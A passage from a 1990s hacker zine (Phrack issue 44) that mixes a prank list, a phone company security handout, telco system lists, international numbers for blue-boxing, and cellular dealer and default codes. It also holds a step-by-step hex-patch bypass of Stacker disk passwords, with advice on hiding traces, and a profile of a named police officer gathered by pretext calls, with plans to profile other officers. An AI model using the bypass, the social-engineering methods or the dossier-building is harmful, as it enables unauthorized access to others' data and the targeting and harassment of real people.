40. Whenever he/she is about to fall asleep, ask questions that start with "Didja ever wonder why...." Be creative.

41. Shave one eyebrow.

42. Put your mattress underneath your bed. Sleep down under there and pile your dirty clothes on the empty bedframe. If your roommate comments, mutter "Gotta save space," twenty times while twitching violently.

43. Put horseradish in your shoes.

44. Shelve all your books with the spines facing the wall. Complain loudly that you can never find the book that you want.

45. Always flush the toilet three times.

46. Subsist entirely on pickles for a week. Vomit often.

47. Buy a copy of Frankie Yankovic's "Pennsylvania Polka," and play it at least 6 hours a day. If your roommate complains, explain that it's an assignment for your primitive cultures class.

48. Give him/her an allowance.

49. Listen to radio static.

50. Open your window shades before you go to sleep each night. Close them as soon as you wake up.

51. Cry a lot.

52. Send secret admirer notes on your roommate's blitzmail.

53. Clip your fingernails and toenails and keep them in a baggie. Leave the baggie near your computer and snack from it while studying. If he/she walks by, grab the bag close and eye him/her suspiciously.

54. Paste used kleenexes to his/her walls.

55. Whenever your roomate comes in from the shower, lower your eyes and giggle to yourself.

56. If you get in before your roomate, go to sleep in his/her bed.

57. Put pornos under his/her bed. Whenever someone comes to visit your roommate when they're not home, show them the magazines.

58. Whenever you go to sleep, start jumping on your bed . . . do so for a while, then jump really high and act like you hit your head on the ceiling. Crumple onto your bed and fake like you were knocked out . . . use this method to fall asleep every night for a month.

59. If your roommate goes away for a weekend, change the locks.

60. Whenever his/her parents call and ask for your roommate, breathe into the phone for 5 seconds then hang up.

61. Whenever he/she goes to shower, drop whatever you're doing, grab a towel, and go shower too.

62. Find out your roommate's post office box code. Open it and take his/her mail. Do this for one month. After that, send the mail to him/her by UPS.

63. Collect all of your pencil shavings and sprinkle them on the floor.

64. Create an imaginary cat for a pet. Talk to it every night, act like you're holding it, keep a litter box under your desk. After two weeks, say that your cat is missing. Put up signs in your dorm, blame your roommate.

65. Call safety & security whenever your roommate turns up his/her music.

66. Follow him/her around on weekends.

67. Sit on the floor and talk to the wall.

68. Whenever the phone rings, get up and answer the door.

69. Whenever someone knocks, answer the phone.

70. Take his/her underwear. Wear it.

71. Whenever your roommate is walking through the room, bump into him/her.

72. Stare at your roommate for five minutes out of every hour. Don't say anything, just stare.

73. Tell your roommate that someone called and said that it was really important but you can't remember who it was.

74. Let mice loose in his/her room.

75. Give each of your walls a different name. Whenever you can't answer a problem, ask each of your walls. Write down their responses, then ask your ceiling for the final answer. Complain to your roommate that you don't trust your ceiling.

76. Take your roommate's papers and hand them in as your own.

77. Skip to the bathroom.

78. Take all of your roommate's furniture and build a fort. Guard the fort for an entire weekend.

79. Gather up a garbage bag full of leaves and throw them in a pile in his/her room. Jump in them. Comment about the beautiful foliage.

80. When you walk into your room, turn off your lights. Turn them on when you leave.

81. Print up satanic signs and leave them in your room where he/she can find them.

82. Whenever you're on the phone and he/she walks in, hang up immediately without saying anything and crawl under your desk. Sit there for two minutes than call whoever it was back.

83. Insist on writing the entire lyrics to American Pie on your ceiling above your bed. Sing them every night before you go to bed.

84. Use a bible as Kleenex. Yell at your roommate if they say Jesus or God Damnit.

85. Burn incense.

86. Eat moths.

87. Buy Sea Monkeys and grow them. Name one after your roommate. Announce the next day that it died. Name another one after your roommate. The next day say that it died. Keep this up until they all die.

88. Collect Chia‑Pets.

89. Refuse to communicate in anything but sign language.

90. Eat a bag of marshmallows before you go to bed. The next day, spray three bottles of whipped cream all over your floor. Say you got sick.

91. Wipe deodorant all over your roommate's walls.

92. If you know that he/she is in the room, come barging in out of breath. Ask if they saw a fat bald naked Tibetan man run through carrying a hundred dollar bill. Run back out swearing.

93. Leave apple cores on his/her bed.

94. Keep feces in your fridge. Complain that there is never anything to eat.

95. Piss in a jar and leave it by your bed. When your roommate isn't looking, replace it with a jar of apple juice. Wait until your roommate turns around. Drink it.

96. Don't ever flush.

97. Buy an inflatable doll. Sleep with it.

98. Hang stuffed animals with nooses from your ceiling. Whenever you walk by them mutter, "You shouldn't have done that to me."

99. Lick him/her while they are asleep.

100. Dress in drag.

Line Noise Part II

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 4 of 27

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

PART II

****************************************

<Retyped From an Actual SWBT Handout>

SOUTHWESTERN BELL TELEPHONE

Computer

Security

Guidelines

Computer Security is YOUR Responsibility.

These guidelines are designed to help you know and meet your corporate obligation.

Prepared by: Information Systems

Computer Security Administration

One Bell Center 22‑H‑8

St. Louis, MO 63101

For Users

‑‑‑‑‑‑‑‑‑

Keep your logon and password information private.

Do not write down passwords, but if you must, keep them in a locked place. Do not store your password in the computer.

Make sure no on sees you enter your passwords.

Pick non‑obvious, non‑guessable passwords.

Do not share your logons or passwords.

Change passwords periodically, at least every thirty days.

Open new computer logons for computer resources only when you have a real need.

Close computer logons you no longer need.

Make sure you have proper protection settings on sensitive computer files. Do not send confidential information through electronic mail or computer news systems.

If you suspect security violations, tell management immediately. Be sure that use of computing resources is for company approved purposes only.

Do not access any information that your management has not authorized you to have. When in doubt, ask!

Logoff when you leave your terminal.

If you dialed in, disconnect when you are finished working.

For Managers of Computing Facilities

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Provide procedures to control access to computing resources. Provide facilities to let users protect proprietary information from disclosure to unauthorized persons.

Be sure that connection of a computer to any network does not diminish the control a user has over programs and data.

Provide appropriate security facilities and procedures to protect computing hardware against damage.

Provide facilities to protect user's data and programs from undesired changes or destruction.

Ensure that computing resource use has been authorized by a member of supervision.

Make sure that computing resource use can be tracked to individuals. Report to managers regularly on the extent of computing resource use. Provide appropriate backup facilities for data and programs. Provide audit trails which identify violations and security breaches and examine them regularly.

For assistance in coordinating computer security activities, contact the Computer Security Administrator.

For Managers

‑‑‑‑‑‑‑‑‑‑‑‑

Make sure you authorize all use of computing resources and that you require separate logons for each individual.

Make sure that the user of computer resources understands responsibilities with respect to proper use and security consciousness.

Review computing resource usage reports and the security practices of the users for which you are responsible.

When a user's employment or need for access ends or changes, make sure access to computer resources is promptly changed by notifying your System Administrator.

Report security violations to the General Security Manager and to the Computer Security Administration Group.

For Information

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Information Systems Organization provides security and disaster recovery services to establish, monitor, and audit computer security standards. If you have any comments or questions regarding computer security, please contact the Computer Security Administration.

****************************************

RBOC ORGANIZATIONAL ARCHITECTURE

Compiled By

Phrack Magazine

In an effort to assist the hacking world in their understanding of the organizational mess created by our fabulous friends at the RBOCs, we have compiled a list of the various organizations, what their functions are, which centers they are made up of, and which computer systems they use.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Planning and Engineering

Defines network resources available for assignment

Functions:

Long range and current planning for outside plant, wire centers, interoffice network, special services, interexchange access services, and message trunks

Exchange network design

Coordination of activities connected with installation and/or modification of exchange network components

Centers:

DSPC

SCPC

WCFPC

CAC

IFFPC

IFCPC

TEC

MEC

DSDC

EEC

CSEC

Systems:

LEIS

NPS

FEPS

LSRP

INPLANS

INFORMS

DFDS

SSFS

PICS

LATIS

CAMIS

CUCRIT

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Service Provisioning

Allocates assignable existing network resources

Functions:

Circuit design and routing

Verification and assignment of network elements

Controlling and tracking orders during assignment process

Centers:

CPC ‑ Circuit Provisioning Center

LAC ‑ Loop Assignment Center

Systems:

TIRKS

SOAC

SWITCH

COSMOS

WM

LFACS

LOMS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Network Operations

Controls installation, maintenance and testing of circuits

Functions:

Coordination and performance of the activities required to provide service Surveillance and control of network equipment and facilities Analysis, sectionalization, and repair of switching and transmission facilities

Status reporting on service order and/or service restoration activities

Centers:

CRSAB

ICC

MC

NAC

RCMAC

SEAC

SSC

FMAC

STC

DNCC

FCC

SCC

Systems:

McTE

GDS

LMOS

EADAS

TAN

RSA

CRAS

CIMAP

NDS

SEAS

MAS

MIZAR

SARTS

TCAS

CAROT

NMA

NMPS

SCCS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Customer Services

Direct company contact with customers

Functions:

Service negotiation with customers

Creating and routing associated service orders

Creating and maintaining customer records

Reporting the provisioning status to customers

Initiating billing and collection processes

Handling billing and general service inquiries

Centers:

RSC ‑ Residence Service Center

BSC ‑ Business Service Center

ICSC ‑ Interexchange Carrier Service Center

Systems:

BOFADS ‑ Business Office Force Administration Data System PREMIS ‑ Premises Information System

SOP ‑ Service Order Processor

CABS ‑ Carrier Access Billing System

BOSS ‑ Billing and Order Support System

CRIS ‑ Customer Records Information System

BRIS ‑ Business Revenue Information System

CLAIMS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Quick Breakdown

Process Center System

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Planning & Engineering

IOF IFCPC IFFPC IOF/EDC FEPS NPS‑F

Switch SCPC WCPC EEC LSD&F LSRP NDS

TNDS/EQ NPS‑W

Distribution DSPC DSDC LATIS LEIS NPS‑D

Service Provisioning

IOF CAC TIRKS

Switch LAC COSMOS

Distribution LAC LFACS

Network Operations

IOF FMAC CAROT CIMAP TCAS

TNDS/TK

Switch NAC RCMAC SCC EADAS NDS MAS MIZAR

TASC CIMAP NMA NMPS

SCCS

Distribution ICC MC GDS CRAS LMOS/MLT

PREDICTOR TAN

****************************************

‑IS‑ Blue Boxing Dead?

Australia Direct 800‑682‑2878

Austria Direct 800‑624‑0043

Belgium Direct 800‑472‑0032

Belize Direct 800‑235‑1154

Bermuda Direct 800‑232‑2067

Brazil Direct 800‑344‑1055

British VI Direct 800‑248‑6585

Cayman Direct 800‑852‑3653

Chile Direct 800‑552‑0056

China Direct 800‑532‑4462

Costa Rica Direct 800‑252‑5114

Denmark Direct 800‑762‑0045

El Salvador Direct 800‑422‑2425

Finland Direct 800‑232‑0358

France Direct 800‑537‑2623

Germany Direct 800‑292‑0049

Greece Direct 800‑443‑5527

Guam Direct 800‑367‑4826

HK Direct 800‑992‑2323

Hungary Direct 800‑352‑9469

Indonesia Direct 800‑242‑4757

Ireland Direct 800‑562‑6262

Italy Direct 800‑543‑7662

Japan Direct 800‑543‑0051

Korea Direct 800‑822‑8256

Macau Direct 800‑622‑2821

Malasia Direct 800‑772‑7369

Netherlands Direct 800‑432‑0031

Norway Direct 800‑292‑0047

New Zealand Direct 800‑248‑0064

Portugal Direct 800‑822‑2776

Panama Direct 800‑872‑6106

Philippines Direct 800‑336‑7445

Singapore Direct 800‑822‑6588

Spain Direct 800‑247‑7246

Sweden Direct 800‑345‑0046

Taiwan Direct 800‑626‑0979

Thailand Direct 800‑342‑0066

Turkey Direct 800‑828‑2646

UK Direct 800‑445‑5667

Uruguay Direct 800‑245‑8411

Yugoslavia Direct 800‑367‑9841 / 9842

This file brought to you by The Phone Company

****************************************

**************************

* Step‑by‑step Programming Instructions * * For the EO Cellular Module *

**************************

1. Unbox and attach the EO Cellular Module to the EO Personal Communicator 440/880.

2. Once the EO Cellular Module is attached turn on the EO Personal Communicator 440/880.

3. Open EO Phone.

4. Tap "Options."

5. Tap "Authorized Dealer."

6. Write Dealer Code in space provided. Dealer code is *12345678#. To edit mistakes, draw a small circle around 2 or 3 of the numbers entered. This will bring up an edit box and allow easier entry of the number. Once you have made your corrections, tap "OK."

7. Tap "OK" on the "Authorized Dealer Code" pop‑up.

8. Wait approx. 30 seconds and programming screen will appear (The "busy clock" will appear on screen).

9. If invalid code entry screen appears, the programming screen will be blank and the "Apply" and "Apply and Close" buttons at the bottom will be greyed out. Close the programming screen by tapping on the upper left blacked out corner of the screen. Re‑do steps 4 through 7 (refer to the TIP below for a guaranteed method of accurate entry). A common problem is to enter an "l" instead of a "1" because they appear to be very similar. To make sure that you have entered a one, check to see that the character is the same height as the other numbers. The letter "l" will be slightly taller.

TIP: To insure that you have entered the correct digits (one versus letter "l" problem above) you can use the accessories keyboard. To use the keyboard for the Dealer Code entry do the following (replaces steps 4, 5, and 6 above):

a. Tap Accessories in the lower bookshelf.

b. Tap Keyboard. This will bring up the pop‑up keyboard. c. Tap Options at the top of the EO Phone window.

d. Tap Authorized Dealer. This will bring up the Dealer Code pop‑up. e. Tap on the line in the Dealer Code box. A dot (or character) will appear and now entry from the keyboard will appear in the Dealer Code box.

f. Now use the keyboard to delete the dot (or character). The Delete key is the upper right most key on the keyboard. g. Now use the keyboard to enter the dealer code ‑ *12345678# (the * and the # keys can be found by tapping the shift (up arrow) keys.)

h. GO TO STEP 7 and continue.

NOTE: When programming the following entries always use the circle gesture to change the entry. In other words, circle the existing entry to bring up the edit combs. Then correct each digit by writing over the existing digit. This will insure that the number of digits for each entry is correct. If an entry has an incorrect length then none of the programed entries will be accepted.

10. Enter the assigned telephone number in the first field. Use the circle gesture to bring up the edit combs to edit the existing telephone number. Change each digit by writing over it in the edit combs. When complete tap "OK."

11. Use the same procedure in step 10 to enter the appropriate SID in the second field.

12. Use the same procedure in step 10 to enter the corresponding IPCH (0333 for the non‑Wireline or A side provider; 0334 for the Wireline or B side provider) in the third field.

13. Leave the remaining fields intact as already programed from the factory unless instructed to change them by the cellular service provider. Use the circle/edit method to change any necessary entries. The factory defaults are:

Field Title Default Value

‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

ACCOLC 00

Group ID 15

Lock Code 1234

SCM 1010

Security Code 123456

Emergency Code 911

14. Tap the "Apply" button on the bottom of the screen. The programming information you have entered is now being saved in the EO Cellular Module. This will take approximately 20 seconds.

15. Close the programming screen by tapping the blackened area in the upper left hand corner of the programming screen.

16. Now set the approximate Roaming Option.

17. Tap Options.

18. Tap Roaming.

19. Enter Security Code. Default is 123456.

20. Tap "OK."

21. Tap next to appropriate roaming option. A check mark will appear.

22. Tap "Apply" button.

23. Close window.

24. Check status line in EO Phone for appropriate indications.

25. Tap "Keypad" tab on right side of EO Phone window. This will bring up a keypad display which can be used to place a voice call.

26. Make sure that the Cellular Icon is boxed (as opposed to the Phone Icon in the lower left hand of EO Phone.)

27. Tap the keypad buttons to enter the number to be dialed. The digits will appear in the dial box at the middle bottom of the EO Phone window.

28. Pick up the handset and tap "DIAL" button in the lower right hand corner of the screen. This button is just like hitting SEND button on a cellular phone. This will place a voice call using the number in the dial box.

29. When call is complete tap "Hang‑up" (the DIAL button to "Hang‑up" after the call is connected to the network.) This is just like pressing END on a cellular phone.

30. Close EO Phone.

31. Programming and testing is now complete.

Helpful Information

The EO Cellular Module contains an OKI 910 cellular phone housed in specially designed, plated plastics with custom connections into the proprietary port on the phone.

All programming of this module is done via the EO Personal Communicator 440 or 880. All programming/configuration information for the phone is stored in the EO Cellular Module and not in the Personal Communicator. This means that once the EO Cellular Module is programed it can be removed from the EO Personal Communicator and reattached to any other EO Personal Communicator without re‑programming.

The ESN for the EO Cellular Module can be derived from the Serial number in the window on the bottom of the module. The cellular module ESN is 129 followed by the last eight digits of the serial number in the window. These eight digits will usually begin with 013. This eleven digit number should be provided to the people that will actually assign the telephone number and activate the EO Cellular Module on the cellular network.

****************************************

THE HACKER CHRONICLES CD‑ROM

Well, he said he was going to do it, and he did.

Scan Man put out a CD‑ROM of info collected from the

underground. I had kind of forgotten he was going to

do it, but once I heard rumors of such a thing, I knew he

had.

At HoHo Con last year, Bootleg was very excited about

compiling data from the community for the project he

and Scan Man were working on. As things progressed

however, Bootleg would soon find out that Scan Man

had no intention of working with him, and cut him out of

the project.

This is how it was explained to me. I hope that it is

not true, since Bootleg is back in jail and wouldn't

have the ability to fly out to West Virginia and throttle

Scan Man about the head and neck.

[Description from the Jewel Box]

WARNING!

This material is controversial in nature and may be offensive

to some viewers. Not that the information in and of itself is

not illegal. Quite often the usage of certain information is illegal. The Hacker Chronicles is for informative and educational purposes only. All documents and programs in this compilation were legally available to the public prior to his publication. None of these criminal acts described on this disc are in any way

condoned or should be attempted.

Over 12 YEARS in the making ‑ this software package contains stories of how they did it, actual break‑ins, arrests, and prosecutions. Most of the articles were written by the actual people who committed these acts. Access articles and software with an easy‑to‑use menu system.

Areas of information include: PHONE PHREAKING (so called hobbyists who are into telephone technology of all types, well known for their ability to bypass telephone billing system), COMPUTER HACKERS (sometimes referred to as cyberpunks, interested in access to any on line computer system they can find), SATELLITE COMMUNICATIONS (hobbyists who sometimes employed test software designed for dealers to defeat scrambling systems), "UNDERGROUND" GENERAL INFORMATION (many subjects all very technical in nature and explained in detail, such as ATM's, credit cards, voice mail, hypnotism, bugging, skip tracing, phone taps, cellular phones, lock picking, social engineering, virus's, chemical substances, explosives, editorials, legal issues, alarm systems, spies, hardware, signal interception, private investigations, security, computer ethics, underground BBS's, TV cable piracy, boxing and much more!

‑‑‑‑‑

Uh, that kinda says it all, don't it? CYBERPUNKS, VIRII, WAREZ & STUFF! Uh, yeah.

Seriously, the disk itself has a shitload of files. This

is rather cool, since now EVERY bbs in the world can put

OVER 650 MEGS OF G‑FILES! Heh.

The file on the disc that struck me the most was the

intro written by Scan Man. He went talked about

a lot of things he's done in the past with the scene,

telephone companies, etc. I know Scan Man from WAY back. Pirate‑80 was one of the first real Hacker BBSes I was

ever on. (Remember when it was only up certain hours of the day?) Reading that file was pretty informing for me. It also

made me smile to see that he's still pissed off at Craig

for tearing him apart in a Phrack some years ago.

Remember, this is by no means a complete collection.

Thankfully, the CD does not have any issues of Phrack

magazine past issue 41 (or else, I would be enjoying

a piece of the revenue :) ). It also, oddly enough,

does not have any LOD‑TJ other than 4. It DOES however

have a large collection of CUD, NIA & CDC. Go figure.

The files do represent a neat history of our community

and for the curious neophyte, the nostalgic old‑timer, or

anyone with 39 bucks, it might be something worth picking

up just to say you have it. I mean, you never know when

you will need to find issue 12 of LOL, or plans for a

urine box. It will save you the trouble of downloading.

The Hacker Chronicles ‑ A Tour of the Computer Underground

should be available from any outlet that carries CD‑ROMS.

Or hell, call P‑80. I'm sure Scan Man will sell you a copy: 304‑744‑7322.

****************************************

Packet Switched Data Networks

An Introduction and Overview

By: Cosmos

The abundance of networks both private and public has given the hacker an almost infinite playground. A popular type of network is the packet switched network like SprintNet (TELENET) that allows local users to access non‑local machines. These WAN's usually serve as the backbone for many large corporations. Understanding the way in which they operate can aid many aspects of the hacker's knowledge.

Packet switching is a data networking technology in which user data is segmented into small units (packets) and transmitted from the sending user to the receiving user over shared communications channels. Each individual packet also holds additional information that allows the network to correctly route the packet to the correct destination. The size of the packet is limited to a maximum number of characters set by the individual sender. Packets are measured in octets, which are 8‑bit bytes. User data that exceeds this amount is divided into multiple packets.

The difference between packet switching and circuit switching (regular telephone lines) lies in the use of virtual circuits. These circuits are given the term "virtual" because:

1) they are made up of bandwidth allocated on demand from

a pool of shared circuits

2) no direct physical connection is made on a packet network

3) the connection is a logical one

Due to these facts, packet networks are commonly denoted as connectionless networks. There are three types of packet networks: public, private, and hybrid (a combo of the two previous ones).

A packet switched data network (PSDN) has five major components:

1) local access components (LAC)

2) packet assemblers/disassemblers (PAD)

3) packet switching nodes (PN)

4) network links (NL)

5) a network managment system (NMS)

LOCAL ACCESS COMPONENTS

To transmit data through a PSDN, the data must first move from the end‑user to a packet assembler/dissasembler (PAD) or to a packet switching node with a built‑in PAD function. In order to achieve this, three local access components are required. First is the end‑user data terminal, or more plainly, your computer. Secondly, an end‑user transmission device such as a modem. Thirdly, a

local access facility or physical line (Telephone Line). There are three types of physical lines: switched analog lines (dial up), leased analog channels (private lines), and leased digital channels (DDS circuits).

PACKET ASSEMBLERS/DISASSEMBLERS

All data travelling through the PSDN must be routed through a Packet Assembler/Disassembler (PAD). The PAD's primary function is to translate user data into network packet format and conversely to convert network packets into user data. Basically, a PAD serves as the network translator between the user and the PSDN. Other functions performed by the PAD include: physical line concentration, call setup and clearing functions, protocol conversion, code conversion, protocol emulation, local switching functions, and local call billing functions.

PACKET SWITCHING NODES

The primary component of a packet switching network is the packet switching node (PN). The packet switching node ensures that each packet is routed properly through the network. Commonly, PN configurations are installed in a redundant configuration. This provides for a convenient backup for network traffic. Other functions include: call billing, internal network diagnostics, support of direct host computer access., and inter‑network gateway connections.

NETWORK LINKS

Network links are the physical components that connect packet switching nodes together. Several transmission technologies can be employed in network linking, including: analog circuits, digital circuits, microwave systems, and satellite systems. The most common network link technologies used are Digital Dataphone and other similar interexchange carrier services, and point to point analog private lines. Speeds on network links range from 9.6 Kbps to 56/64 Kbps. Network links are commonly denoted as the "backbone layer" or

the backbone packet network. The local PAD's are termed the "access layer" or access network.

NETWORK MANAGEMENT SYSTEM

Basically, the network management system (NMS) controls and monitors the PSDN. It primarily stores and performs maintenance on the network database. This database is the master copy of all the software and configurations in each network node. If a node fails or is not functioning properly, the NMS can download backup information through the various network links to solve the problem. Thus, a unattended network is formed.

This is all one needs to understand for a general knowledge of

a packet switched data network. Additional topics can be

pursued further for increased knowledge but are not essential.

You might want to research some info on the standard X.25 protocol, and other OSI stuff. Anyways, I hope this brief intro article can be of use in the general knowledge of computer networking.

Cosmos

****************************************

Stacker Security.

How to Hack a Stacker disk that is password protected!

The 'Stacker' Software increases the space on your hard disk by using on the fly compression on the data on the disk. It does this by creating a file called Stacvol.dsk on the hard drive. All of the information that is put on the disk is compressed and stored in the stacvol.dsk file. When Stacker is installed on a hard drive, say C: all of the data on the disk is compressed and stored in the stacvol.dsk file, which is assigned as a virtual disk C:, the 'real' drive is then assigned D:. The swapping taking place a boot time.

The Stacvol.dsk file is therefore stored on the D: drive and usually takes up most of the drive. (ie: a 40M C: drive contains the stacvol.dsk file of size around 5‑39M the disks are swapped at boot time and the C: drive that the user 'sees' is really the contents of the stacvol.dsk file on the D drive assigned to C:, everything on the C drive (stacvol.dsk) is compressed, thus obtaining an increased disk space.)

The point is this, at boot time the owner of the machine can set passwords to allow the user to have no access, read/write or read‑only access to the C drive/stacvol.dsk file, if a wrong password is entered the stacvol file is not mounted as the C drive and all a DIR will get you is a directory of C:\ which will have a few files such as command.com etc, nothing of any real interest.

So now for the interesting bit, how to get in without a password, or getting read/write privs when you've only got read‑only.

First, boot the computer and go through the password routine.

Get it wrong (you may as well try something like password though just in case.)

The Stacvol.dsk file is hidden so change its file attributes so you can edit it. (You'll need a floppy now with a utility such as Norton diskedit on it)

Load in the diskeditor and get it so that you are editing the stackvol file in a HEX mode. The first bit of Hex just contains the usual sort of boot record type rubbish, not too interesting.

The interesting bit is the bit which starts at offset 74

Now the information starting at 00040 is the interesting bit,

on a disk with a password set it will look like this....

00040 20 20 20 20 20 20 20 20 | 20 20 2D 2A 2D 0A 0A 1A

00050 72 AA 91 9C 0F 66 9A ED | AB 18 6E 6D E2 C3 2B 8B

00060 5E CD EF A9 37 1B 53 E2 | C6 F0 E8 9C A4 49 F6 9D

00070 4C F0 AB 32 21 47 FC 91 | 7E 8C 58 D8 D9 D7 DB D3

(All figures obviously in hex.)

The data from 0004B to 0004E is a flag to the device driver to tell it that a password is required.

From 0004f to 0005F are the encrypted passwords.

(the rest just being data)

NOW, for an unpassworded file this looks like

00040 20 20 20 20 20 20 20 20 | 20 20 20 20 20 0D 0A 1A

00050 49 F6 9D 4E EC B1 26 3D | 0F 6B B2 24 41 07 7B 92

00060 XX XX XX XX XX XX XX XX | XX XX XX XX XX XX XX XX

00070 XX XX XX XX XX XX XX XX | XX XX XX XX XX XX XX XX

Now all you have to do is take a copy of the data in this section on the stacvol.dsk file you are hacking so that you can return it back to its original state!

Patch the code above into the corresponding positions into the file you are hacking, leaving the code denoted by XX alone, this is version code and depends on the machine so leave it alone!

Save the changes and reboot the machine, it will no longer ask for a password and you now have full access.

Afterwards re‑patch the original code that you noted and if you've used your common sense then the owner will never know you were there.

(By common sense I mean don't forget to restore time/date stamps etc.)

D2A [D

****************************************

UNAUTHORIZED ACCESS ONLY

Computers are becoming an integral part of our everyday existence. They are used to store a multitude of information, from credit reports and bank withdrawals to personal letters and highly sensitive military documents. So how secure are our computer systems?

The computer hacker is an expert at infiltrating secured systems, such as those at AT&T, TRW, NASA and the DMV. Most computer systems that have a telephone connection have been under seige at one time or another, many without their owner's knowledge. The really good hackers can re‑route the telephone system, obtain highly sensitive coporate and government documents, download individuals credit reports, make free phone calls globally, read private electronic mail and corporate bulletins and get away without ever leaving a trace.

So who are these hackers? Just exactly WHAT do they DO, and WHY do they do it? Are they really a threat? What do they do with the information they obtain? Are hackers simply playing an intellectual game of chess or are hackers using technology to effectively take control of corporate and government systems that have previously appeared omnipotent?

Our group is in the course of filming "Unauthorized Access", a documentary that will demistify the hype and propoganda surrounding the computer hacker. We will expose the truths of this sub‑culture focusing on the hackers themselves. This will be a view from inside the global underground. We intend to shoot in the United States, Holland and Germany.

This documentary will be of the highest broadcast quality and is intended for international television, festival and theatrical distribution.

We are currently looking for additional financial backers interested in this project. For more information about "Unauthorized Access" or if you are intrested in providing any information or support, please contact annaliza@netcom.com.

****************************************

Mitnick's Soliloquy

Intruder, or not Intruder: that is the question:

Whether 'tis more likely the system suffers

The misuses and malfeasances of outrageous crackers

Or that some user behaves anomalously

And, by so doing, causes false alarms. To alert, to audit;

No more; and by an audit to say we find the attack,

And the thousand failed login attempts

That are seen on the network, 'tis a consummation

Devoutly to be decrypted. To alert, to audit.

To audit, perchance to detect, ay, there's the rub.

For in that detection of attack what false alarms may come;

When we have dumped a million packets

Must give us pause, the analysis

That makes use of long CPU hours and many gigabytes

For who would bear the whips and scorns of time

The analysis by hand, the tired SSOs eyes sore,

The pangs of innocent users, the law's delay,

The insolence of phreaks, and the spurns

That patient merit of unworthy takes

When he himself might his quietus make

By a disconnected ethernet? who would fardles bear

To grunt and sweat under C2 standards

But that the dread of worm after worm

The undiscovered bug from whose bourn

No Vandal turns, puzzles the testers,

And makes us rather ebar those ills we have

That crash the system and erase the hard drive?

Thus intrusion detection makes abusers of us all,

And thus the native hue of normal use

Is sicklied over with the red light of intruder,

and jobs of great size and duration

With this regard their patterns out of normal parameters,

and lose the name of legal system policy.

After Hamlet's Soliloquy,

By JJ

Computer Cop Prophile

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 5 of 27

****************************************

Computer Cop Prophile

by The Grimmace

The following file is something I thought of and did

a LOT of research on before writing. It's something that

I haven't seen in PHRACK and I've been a devout fan of

this zine since the beginning.

The "PHRACK PROPHILES" on hackers and phreakers give readers an insight into the movers and shakers of the P/H world, but how about a profile or profiles on the anti‑hacker/phreaker establishment that seems to be

growing by leaps and bounds lately?

In the past years we've seen cops and feds who know

nothing about computers and/or telephone systems bungle their way through search warrants and arrests and have had some good laughs at their expense. But now it seems that the "computer cops", the feds especially, are putting a big push on training agents in the "tricks of the trade" and their conviction rate is getting better.

The primary source of this training is the Federal Law Enforcement Training Center in Glynco, Georgia, where they're teaching computer seizure and analysis techniques, computer‑targeted search warrants, and telecommunications fraud investigations. (They're very accommodating about giving out information on the phone as long as you tell them you're a cop). The FBI Academy in Quantico also has a computer crimes course.

On the technical side of things, there's an organization called IACIS which stands for the International Association

of Computer Investigative Specialists based in Portland, Oregon, and which consists of members of both local law enforcement agencies nationwide as well as various and

sundry federal agencies. This group teaches and certifies

cops in how to get evidence from computer systems that can't be attacked in court (Of course, anything CAN be attacked, but getting the evidence squashed is not always a sure thing unless the judge is a computerphobe).

As much satisfaction as we've gained at the expense of

the US Secret Service from the Steve Jackson Games case, it's widely publicized problems may prove to be a double‑edged sword hanging over our heads. Law enforcement learned a LOT of lessons from mistakes made in that investigation.

Like most of you, I've spent a lot of years

exploring computer systems (usually those belonging to others) and personally feel that I've done nothing wrong (know the feeling?). I'm sure others across the country also can

conduct a little socially‑engineered reconnaissance and

get the lowdown on some of the people we NEVER want to see knocking on our doors with a sledge hammer in the middle of the night.

This profile contains information on the ONLY computer crime cop I could identify in the Louisville/Jefferson County area after calling all the major departments posing as a writer for a law enforcement magazine doing a survey. Information about him was obtained not only from his department, but from sources in the local and federal court systems, Ma Bell Security, and the Federal Law Enforcement Training Center. Lt. Baker is *not* a potential donor to the CPSR or EFF to say the least.

I'm currently compiling similar information on other

law enforcement types in the Secret Service, Columbus Ohio PD, Dallas PD, Georgia Bureau of Investigation and members of Ma Bell's Data Security Group in Atlanta. Baker was just the closest to me so I started with him. If I can get the information I've requested, then future submissions will

also include lesson plans furnished by FLETC on their training courses and analysis protocols suggested by the USSS...heh...heh.

Yours,

The Grimmace

*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*

COMPUTER‑COP PROFILE I

LT. BILL BAKER

JEFFERSON COUNTY POLICE DEPARTMENT LOUISVILLE, KENTUCKY

INFORMATION COMPILED BY:

** THE GRIMMACE **

*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*‑*

NAME: Bill Baker

RANK: Lieutenant

AGENCY: Jefferson County Police Department 768 Barret Ave. Louisville, Kentucky 40204

AGE: 43

YEARS OF COMPUTER EXP: 13

YEARS AS A COP: 18

YEARS IN COMPUTER/

TELECOM CRIME: 8

TRAINING: Federal Law Enforcement Training Ctr.

Glynco, Ga.

‑ Telecommunications Crime Telecom Fraud Cellular Fraud PBX Fraud

‑ Computer Crime Illegal Access Crimes Computer Crime Inves. Seized System Analysis

FBI Academy

Quantico, Va.

